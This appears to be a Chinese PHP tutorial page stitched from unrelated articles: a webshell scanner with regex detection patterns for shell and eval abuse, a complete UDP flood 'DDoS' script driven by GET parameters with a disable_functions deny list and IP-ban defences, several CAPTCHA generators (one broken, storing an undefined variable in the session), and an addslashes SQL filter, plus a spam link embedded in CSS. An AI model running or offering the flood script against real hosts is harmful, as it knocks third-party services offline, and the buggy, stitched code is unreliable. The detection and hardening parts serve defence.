php webshell扫描后门木马实例程序

 更新时间:2016年11月25日 15:23  点击:1687
本文章来给大家介绍一个php webshell扫描后门木马实例程序,这个可以扫描你网站上的木马程序哦,这个给大家找网站木马提供了很大的方便,有需要的朋友可参考。
 代码如下 复制代码

<?php
/**********************
  php扫描后门
**********************/
error_reporting(E_ERROR);
ini_set('max_execution_time',20000);
ini_set('memory_limit','512M');
header("content-Type: text/html; charset=gb2312");
$matches = array(
  '/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i',
  '/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\)/i',
  '/((udp|tcp)\:\/\/(.*)\;)+/i',
  '/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
  '/preg\_replace\s*\((.*)\(base64\_decode\(\$/i',
  '/(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*(base64\_decode|str\_rot13|gz(\w+)|file\_(\w+)\_contents|(.*)php\:\/\/input)+/i',
  '/(eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
  '/eval\s*\(\s*\(\s*\$\$(\w+)/i',
  '/(include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\)/i',
  '/\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\)/i',
  '/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)/i',
  '/(fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)/i',
  '/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i',
  '/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i',
  '/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
  '/\$\_\=(.*)\$\_/i',
  '/\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)/i',
  '/\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)/i',
  '/\$(\w+)\(\$\{(.*)\}/i'
);
function antivirus($dir,$exs,$matches) {
  if(($handle = @opendir($dir)) == NULL) return false;
  while(false !== ($name = readdir($handle))) {
    if($name == '.' || $name == '..') continue;
    $path = $dir.$name;
    if(is_dir($path)) {
      if(is_readable($path)) antivirus($path.'/',$exs,$matches);
    } elseif(strpos($name,';') > -1 || strpos($name,'%00') > -1 || strpos($name,'/') > -1) {
      echo '<p>特征 <input type="text" style="width:218px;" value="解析漏洞"> '.$path.'</p>'; flush(); ob_flush();
    } else {
      if(!preg_match($exs,$name)) continue;
      if(filesize($path) > 10000000) continue;
      $fp = fopen($path,'r');
      $code = fread($fp,filesize($path));
      fclose($fp);
      if(empty($code)) continue;
      foreach($matches as $matche) {
        $array = array();
        preg_match($matche,$code,$array);
        if(!$array) continue;
        if(strpos($array[0],"\x24\x74\x68\x69\x73\x2d\x3e")) continue;
        $len = strlen($array[0]);
        if($len > 10 && $len < 1500) {
          echo '<p>特征 <input type="text" style="width:218px;" value="'.htmlspecialchars($array[0]).'"> '.$path.'</p>';
          flush(); ob_flush(); break;
        }
      }
      unset($code,$array);
    }
  }
  closedir($handle);
  return true;
}
function strdir($str) { return str_replace(array('\\','//','//'),array('/','/','/'),chop($str)); }
echo '<form method="POST">';
echo '<p>路径: <input type="text" name="dir" value="'.($_POST['dir'] ? strdir($_POST['dir'].'/') : strdir($_SERVER['DOCUMENT_ROOT'].'/')).'" style="width:398px;"></p>';
echo '<p>后缀: <input type="text" name="exs" value="'.($_POST['exs'] ? $_POST['exs'] : '.php|.inc|.phtml').'" style="width:398px;"></p>';
echo '<p>操作: <input type="submit" style="width:80px;" value="scan"></p>';
echo '</form>';
if(file_exists($_POST['dir']) && $_POST['exs']) {
  $dir = strdir($_POST['dir'].'/');
  $exs = '/('.str_replace('.','\\.',$_POST['exs']).')/i';
  echo antivirus($dir,$exs,$matches) ? '<p>扫描完毕</p>' : '<p>扫描中断</p>';
}
?>
PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法

我们先来看php ddos代码

 代码如下 复制代码

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了。

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法:

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作。

1.打开php.ini

2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数。

找到disable_functions,将前面的“;”去掉,在等号后面增加:

 代码如下 复制代码

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,
proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间。

找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器: IIS,Apache、Nginx,具体步骤就不写了,放出个链接供大家参考:

iis与apache取消目录脚本执行权限方法:http://www.111cn.net/sys/Windows/46232.htm

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在。

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合。

8.修改默认管理帐号

很多人都习惯使用:admin  但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名。

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.

后再再附一个php防ddos攻击的代码

 代码如下 复制代码

<?php 
//查询禁止IP 
$ip =$_SERVER['REMOTE_ADDR']; 
$fileht=".htaccess2"; 
if(!file_exists($fileht))file_put_contents($fileht,""); 
$filehtarr=@file($fileht); 
if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!"); 

//加入禁止IP 
$time=time(); 
$fileforbid="log/forbidchk.dat"; 
if(file_exists($fileforbid)) 
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid); 
else{ 
$fileforbidarr=@file($fileforbid); 
if($ip==substr($fileforbidarr[0],0,strlen($ip))) 

if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid); 
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);} 
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);} 



//防刷新 
$str=""; 
$file="log/ipdate.dat"; 
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777); 
if(!file_exists($file))file_put_contents($file,""); 
$allowTime = 120;//防刷新时间 
$allowNum=10;//防刷新次数 
$uri=$_SERVER['REQUEST_URI']; 
$checkip=md5($ip); 
$checkuri=md5($uri); 
$yesno=true; 
$ipdate=@file($file); 
foreach($ipdate as $k=>$v) 
{ $iptem=substr($v,0,32); 
$uritem=substr($v,32,32); 
$timetem=substr($v,64,10); 
$numtem=substr($v,74); 
if($time-$timetem<$allowTime){ 
if($iptem!=$checkip)$str.=$v; 
else{ 
$yesno=false; 
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn"; 
elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn"; 
else 

if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);} 
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND); 
$timepass=$timetem+$allowTime-$time; 
die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!"); 




if($yesno) $str.=$checkip.$checkuri.$time."1rn"; 
file_put_contents($file,$str); 
?>


相关教程 :

iis防止php ddos占完网络带宽与服务器资源解决方法

以前我们利用php生成的都是无背景或同一色彩背景的验证码了,但这种验证容易给机器识别了,下面我来介绍一些生成带背景的图形验证码实例。

1、产生一张png的图片
2、为图片设置背景色
3、设置字体颜色和样式
4、产生4位数的随机的验证码
5、把产生的每个字符调整旋转角度和位置画到png图片上
6、加入噪点和干扰线防止注册机器分析原图片来恶意注册
7、输出图片
8、释放图片所占内存
authcode.php文件

代码

 代码如下 复制代码
<?php
        session_start ();
        header ( 'Content-type: image/png' );
        //创建图片
        $im = imagecreate($x=130,$y=45 );
        $bg = imagecolorallocate($im,rand(50,200),rand(0,155),rand(0,155)); //第一次对 imagecolorallocate() 的调用会给基于调色板的图像填充背景色
        $fontColor = imageColorAllocate ( $im, 255, 255, 255 );   //字体颜色
        $fontstyle = 'rock.ttf';                   //字体样式,这个可以从c:windowsFonts文件夹下找到,我把它放到和authcode.php文件同一个目录,这里可以替换其他的字体样式
        //产生随机字符
        for($i = 0; $i < 4; $i ++) {
                $randAsciiNumArray         = array (rand(48,57),rand(65,90));
                $randAsciiNum                 = $randAsciiNumArray [rand ( 0, 1 )];
                $randStr                         = chr ( $randAsciiNum );
                imagettftext($im,30,rand(0,20)-rand(0,25),5+$i*30,rand(30,35),$fontColor,$fontstyle,$randStr);
                $authcode                        .= $randStr;
        }
        $_SESSION['authcode']        = $randFourStr;//用户和用户输入的验证码做比较
        //干扰线
        for ($i=0;$i<8;$i++){
                $lineColor        = imagecolorallocate($im,rand(0,255),rand(0,255),rand(0,255));
                imageline ($im,rand(0,$x),0,rand(0,$x),$y,$lineColor);
        }
        //干扰点
        for ($i=0;$i<250;$i++){
                imagesetpixel($im,rand(0,$x),rand(0,$y),$fontColor);
        }
        imagepng($im);
        imagedestroy($im);               
?>

例2

•新建一个PHP文件captcha_code_file.php

 代码如下 复制代码

//首先开启session
session_start();
//定义前台显示验证码长&宽
$image_width = 120;
$image_height = 40;
$characters_on_image = 6;
$font = './monofont.ttf';
 
//The characters that can be used in the CAPTCHA code.
//avoid confusing characters (l 1 and i for example)
$possible_letters = '23456789bcdfghjkmnpqrstvwxyz';
$random_dots = 10;
$random_lines = 30;
$captcha_text_color="0x142864";
$captcha_noice_color = "0x142864";
//定义要生成验证码的字符串
$code = '';
 
$i = 0;
while ($i < $characters_on_image) { 
$code .= substr($possible_letters, mt_rand(0, strlen($possible_letters)-1), 1);
$i++;
}
 
$font_size = $image_height * 0.75;
$image = @imagecreate($image_width, $image_height);
 
/* setting the background, text and noise colours here */
$background_color = imagecolorallocate($image, 255, 255, 255);
 
$arr_text_color = hexrgb($captcha_text_color);
$text_color = imagecolorallocate($image, $arr_text_color['red'], 
        $arr_text_color['green'], $arr_text_color['blue']);
 
$arr_noice_color = hexrgb($captcha_noice_color);
$image_noise_color = imagecolorallocate($image, $arr_noice_color['red'], 
        $arr_noice_color['green'], $arr_noice_color['blue']);
 
/* generating the dots randomly in background */
for( $i=0; $i<$random_dots; $i++ ) {
imagefilledellipse($image, mt_rand(0,$image_width),
 mt_rand(0,$image_height), 2, 3, $image_noise_color);
}
 
/* generating lines randomly in background of image */
for( $i=0; $i<$random_lines; $i++ ) {
imageline($image, mt_rand(0,$image_width), mt_rand(0,$image_height),
 mt_rand(0,$image_width), mt_rand(0,$image_height), $image_noise_color);
}
 
/* create a text box and add 6 letters code in it */
$textbox = imagettfbbox($font_size, 0, $font, $code); 
$x = ($image_width - $textbox[4])/2;
$y = ($image_height - $textbox[5])/2;
imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);
 
/* Show captcha image in the page html page */
header('Content-Type: image/jpeg');// defining the image type to be shown in browser widow
imagejpeg($image);//showing the image
imagedestroy($image);//destroying the image instance
//设置session,做验证
$_SESSION['6_letters_code'] = $code;
 
function hexrgb ($hexstr)
{
  $int = hexdec($hexstr);
 
  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}

显示验证码页面index.php

<?php
session_start();
if(isset($_REQUEST['Submit'])){
    // code for check server side validation
    if(empty($_SESSION['6_letters_code'] ) ||
        strcasecmp($_SESSION['6_letters_code'], $_POST['6_letters_code']) != 0)
    {  
        $msg="您输入的验证码有误,请重新输入!";
    }else{
        echo "您输入的是正确的!";
        // Captcha verification is Correct. Final Code Execute here!
    }
}    
 ?>
 
<style type="text/css">
.table{
    font-family:Arial, Helvetica, sans-serif;
    font-size:12px;
    color:#333;
    background-color:#E4E4E4;    
}
.table td{
    <a href="http://www.111cn.net">Coinstar Money point</a>  background-color:#F8F8F8;     
}
</style>
 
<form action="" method="post" name="form1" id="form1" >
  <table width="400" border="0" align="center" cellpadding="5" cellspacing="1">
<?php if(isset($msg)){?>
    <tr>
      <td colspan="2" align="center" valign="top"><?php echo $msg;?></td>
    </tr>
<?php } ?> 
    <tr>
      <td align="right" valign="top"> 验证码Demo:</td>
      <td><img src="captcha_code_file.php?rand=<?php echo rand(0,20);?>" id='captchaimg'  onclick="refreshCaptcha();" ><br>
        <label for='message'>请输入验证码:</label>
        <br>
        <input id="6_letters_code" name="6_letters_code" type="text">
        <br>
        如果看不到,请 <a href='javascript: refreshCaptcha();'>点我</a> 刷新一下!
        </p></td>
    </tr>
    <tr>
      <td>&amp;nbsp;</td>
      <td><input name="Submit" type="submit" onclick="return validate();" value="Submit"></td>
    </tr>
  </table>
</form>
<script type='text/javascript'>
//定义的刷新请求
function refreshCaptcha()
{
    var img = document.images['captchaimg'];
    img.src = img.src.substring(0,img.src.lastIndexOf("?"))+"?rand="+Math.random()*1000;
}
</script>

例3

带有雪花背景的验证码

 代码如下 复制代码

<?session_start();?>
<FORM METHOD=POST ACTION="">
<input type=text name=number maxlength=4><img src="YanZhengMa.php?act=init">
<INPUT TYPE="submit" name="sub">
</FORM>
<?
//检验校验码
if(isset($HTTP_POST_VARS["sub"])):
if($HTTP_POST_VARS["number"] != $HTTP_SESSION_VARS[login_check_number] || empty($HTTP_POST_VARS["number"])){
    echo "校验码不正确!" ;
}else{
    echo"验证码通过!";
}
endif;
show_source('test.php');
//以上本页的源码


//以下是生成验证码的源码
show_source('YanZhengMa.php');
?>
<?php
session_start();
session_register("login_check_number");

 

//昨晚看到了chianren上的验证码效果,就考虑了一下,用PHP的GD库完成了类似功能
//先成生背景,再把生成的验证码放上去
$img_height=120;    //先定义图片的长、宽
$img_width=40;
if($HTTP_GET_VARS["act"]== "init"){
    //srand(microtime() * 100000);//PHP420后,srand不是必须的
    for($Tmpa=0;$Tmpa<4;$Tmpa++){
        $nmsg.=dechex(rand(0,15));
    }//by sports98


    $HTTP_SESSION_VARS[login_check_number] = $nmsg;

    //$HTTP_SESSION_VARS[login_check_number] = strval(mt_rand("1111","9999"));    //生成4位的随机数,放入session中
    //谁能做下补充,可以同时生成字母和数字啊??----由sports98完成了

 

    $aimg = imageCreate($img_height,$img_width);    //生成图片
    ImageColorAllocate($aimg, 255,255,255);            //图片底色,ImageColorAllocate第1次定义颜色PHP就认为是底色了
    $black = ImageColorAllocate($aimg, 0,0,0);        //定义需要的黑色


    ImageRectangle($aimg,0,0,$img_height-1,$img_width-1,$black);//先成一黑色的矩形把图片包围

    //下面该生成雪花背景了,其实就是在图片上生成一些符号
    for ($i=1; $i<=100; $i++) {    //先用100个做测试


        imageString($aimg,1,mt_rand(1,$img_height),mt_rand(1,$img_width),"*",imageColorAllocate($aimg,mt_rand(200,255),mt_rand(200,255),mt_rand(200,255)));
        //哈,看到了吧,其实也不是雪花,就是生成*号而已。为了使它们看起来"杂乱无章、5颜6色",就得在1个1个生成它们的时候,让它们的位置、颜色,甚至大小都用随机数,rand()或mt_rand都可以完成。
    }

    //上面生成了背景,现在就该把已经生成的随机数放上来了。道理和上面差不多,随机数1个1个地放,同时让他们的位置、大小、颜色都用成随机数~~
    //为了区别于背景,这里的颜色不超过200,上面的不小于200
    for ($i=0;$i<strlen($HTTP_SESSION_VARS[login_check_number]);$i++){
        imageString($aimg, mt_rand(3,5),$i*$img_height/4+mt_rand(1,10),mt_rand(1,$img_width/2), $HTTP_SESSION_VARS[login_check_number][$i],imageColorAllocate($aimg,mt_rand(0,100),mt_rand(0,150),mt_rand(0,200)));
    }
    Header("Content-type: image/png");    //告诉浏览器,下面的数据是图片,而不要按文字显示
    ImagePng($aimg);                    //生成png格式。。。嘿嘿效果蛮像回事的嘛。。。
    ImageDestroy($aimg);
}

?>

验证码可以防止一些用户重复提交来猜密码或利用暴力工具来猜密码,我们加了验证码之后给他们增加了不少难度了,下面我提供一款基于session验证码程序。


在网站的登陆和注册的时候,经常会用到验证码来防止别人用机械暴力注册或登陆,加上验证码这样一定程度上让网站安全很多,下面是一个比较简单的验证码生成,同时给session赋值。

 代码如下 复制代码

<?php
session_start();
header(“Content-type: image/png”);
//创建真彩色白纸
$im = @imagecreatetruecolor(50, 20) or die(“建立图像失败”);
//获取背景颜色
$background_color = imagecolorallocate($im, 255, 255, 255);
//填充背景颜色(这个东西类似油桶)
imagefill($im,0,0,$background_color);
//获取边框颜色
$border_color = imagecolorallocate($im,200,200,200);
//画矩形,边框颜色200,200,200
imagerectangle($im,0,0,49,19,$border_color);

//逐行炫耀背景,全屏用1或0
for($i=2;$i<18;$i++){
//获取随机淡色
$line_color = imagecolorallocate($im,rand(200,255),rand(200,255),rand(200,255));
//画线
imageline($im,2,$i,47,$i,$line_color);
}

//设置字体大小
$font_size=12;

//设置印上去的文字
$Str[0] = “ABCDEFGHIJKLMNOPQRSTUVWXYZ”;
$Str[1] = “abcdefghijklmnopqrstuvwxyz”;
$Str[2] = “01234567891234567890123456″;

//获取第1个随机文字
$imstr[0]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[0]["x"] = rand(2,5);
$imstr[0]["y"] = rand(1,4);

//获取第2个随机文字
$imstr[1]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[1]["x"] = $imstr[0]["x"]+$font_size-1+rand(0,1);
$imstr[1]["y"] = rand(1,3);

//获取第3个随机文字
$imstr[2]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[2]["x"] = $imstr[1]["x"]+$font_size-1+rand(0,1);
$imstr[2]["y"] = rand(1,4);

//获取第4个随机文字
$imstr[3]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[3]["x"] = $imstr[2]["x"]+$font_size-1+rand(0,1);
$imstr[3]["y"] = rand(1,3);

//将显示的数组赋值给session
$_SESSION['CODE'] = $imstr[0]["s"].$imstr[1]["s"].$imstr[2]["s"].$imstr[3]["s"];

//写入随机字串
for($i=0;$i<4;$i++){
$text_color = imagecolorallocate($im,rand(50,180),rand(50,180),rand(50,180));
imagechar($im,$font_size,$imstr[$i]["x"],$imstr[$i]["y"],$imstr[$i]["s"],$text_color);
}
//显示图片
imagepng($im);
//销毁图片
imagedestroy($im);
?>

本文章来给大家介绍一个php $_GET $_POST过滤sql注入程序代码函数,希望些函数对各位朋友有帮助,此函数只能过滤一些敏感的sql命令了,像id=1这种大家还是需要自己简单过滤了。
 代码如下 复制代码


if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET  = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}

$_COOKIE   = addslashes_deep($_COOKIE);
$_REQUEST  = addslashes_deep($_REQUEST);
}

function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}

[!--infotagslink--]

相关文章

  • php webshell下直接反弹shell的例子

    webshell对于我们站长来讲肯定听到比较多了,我们网站可能经常被人使用期webshell方式注入一些东西了,下面一起来看一个php webshell下直接反弹shell的例子,具体如下。...2016-11-25
  • Vue组件实现旋转木马动画

    这篇文章主要为大家详细介绍了Vue组件实现旋转木马动画效果,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-07-23
  • Delphi实现木马自我拷贝方法

    这篇文章主要介绍了Delphi实现木马自我拷贝方法,对于研究木马的运行原理很有帮助,需要的朋友可以参考下...2020-06-30
  • perl后门,正向和反向!实例代码

    写过很多关于Perl编程,今天继续分享一篇利用perl后门实现正向和反向连接的实例代码,需要的朋友可以参考下其中的内容详情...2020-06-29
  • Delphi实现木马文件传输代码实例

    这篇文章主要介绍了Delphi实现木马文件传输的方法,对于了解木马的运行原理有一定的帮助,需要的朋友可以参考下...2020-06-30
  • Webshell基础知识深入讲解

    这篇文章主要介绍了Webshell基础知识深入讲解,有对于shell和对于服务器感兴趣的同学可以跟着小编一起来研究下...2021-03-05
  • vue实现旋转木马动画

    这篇文章主要为大家详细介绍了vue实现旋转木马动画,图片数量无限制,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-07-23
  • PHP后门隐藏的一些技巧总结

    这篇文章主要介绍了关于PHP后门隐藏的一些技巧,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-11-04
  • 一些常用的php后门木马详解

    说起php后门木马我就心有愉季啊,前不久一个站就因不小心给人注入了,然后写入了小木马,这样结果大家知道的我就不说了,下面我来给大家收集了各种php后门木马做法,大家可参考...2016-11-25
  • jpg 木马如何执行 如何防止.JPG类型木马?

    防止.NET木马列所有站物理路径,防止.JPG类型木马 我的服务器上被人上传了一个.NET木马,,这次让我认识到以前没有见过的上传木马的招数,,同时也找出一些对策,分享给给大家。 ...2016-01-27
  • 手机收到短信木马链接 打开短信手机会中毒吗?

    近期,一条回复陌生号码短信被骗5760元的微信在朋友圈疯狂转发,十几天内,阅读量已经超过10万。对此,深圳警方表示,回复短信被骗属子虚乌有,被骗市民都是回复短信时点了短信上的相关链接,那么手机收到短信木马链接,打开短信手机会中毒吗...2016-07-04
  • PHP常见后门木马程序整理

    这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话...2016-11-25
  • PHP最短webshell的一些理解

    webshell大家都懂就是网站注入了,对于webshell我们有万千不同的方式了,今天来看最短的webshell引起的一些深思。 The shortest webshell of PHP 某天闲逛wooyun,发现...2016-11-25
  • nginx虚拟主机防webshell完美版

    nginx虚拟主机防webshell完美版,使用nginx的朋友可以参考下。...2016-01-27
  • C#判断上传文件是否是图片以防止木马上传的方法

    这篇文章主要介绍了C#判断上传文件是否是图片以防止木马上传的方法,对于网络安全来说至关重要,需要的朋友可以参考下...2020-06-25
  • 移花接木 将Alexa工具条改装成间谍木马

    Alexa是一个发布全球网站排名信息的网站,他的网址是http://www.alexa.com。Alexa通过在客户端安装Alexa工具条来收集采样全球网站的访问数据,以这些数据为依据对...2016-09-20
  • c# 服务器上传木马监控代码(包含可疑文件)

    c# 监控服务器上传木马(包含可疑文件)...2020-06-25
  • 手把手教你编写基于PHP扩展库的后门教程

    本文我们来手把手教你如何编写基于php扩展库的后门程序,学习目的是为了让我们对后门程序的深度理解,然后写出更安全的代码。 0x00 前言 今天我们将讨论编写基于PHP...2016-09-20
  • php防止webshell 处理函数

    import os import sys import re import time def listdir(dirs,liston='0'): flog = open(os.getcwd()+"/check_php教程_shell.log","a+") if not os.p...2016-11-25
  • php webshell扫描后门木马实例程序

    本文章来给大家介绍一个php webshell扫描后门木马实例程序,这个可以扫描你网站上的木马程序哦,这个给大家找网站木马提供了很大的方便,有需要的朋友可参考。 ...2016-11-25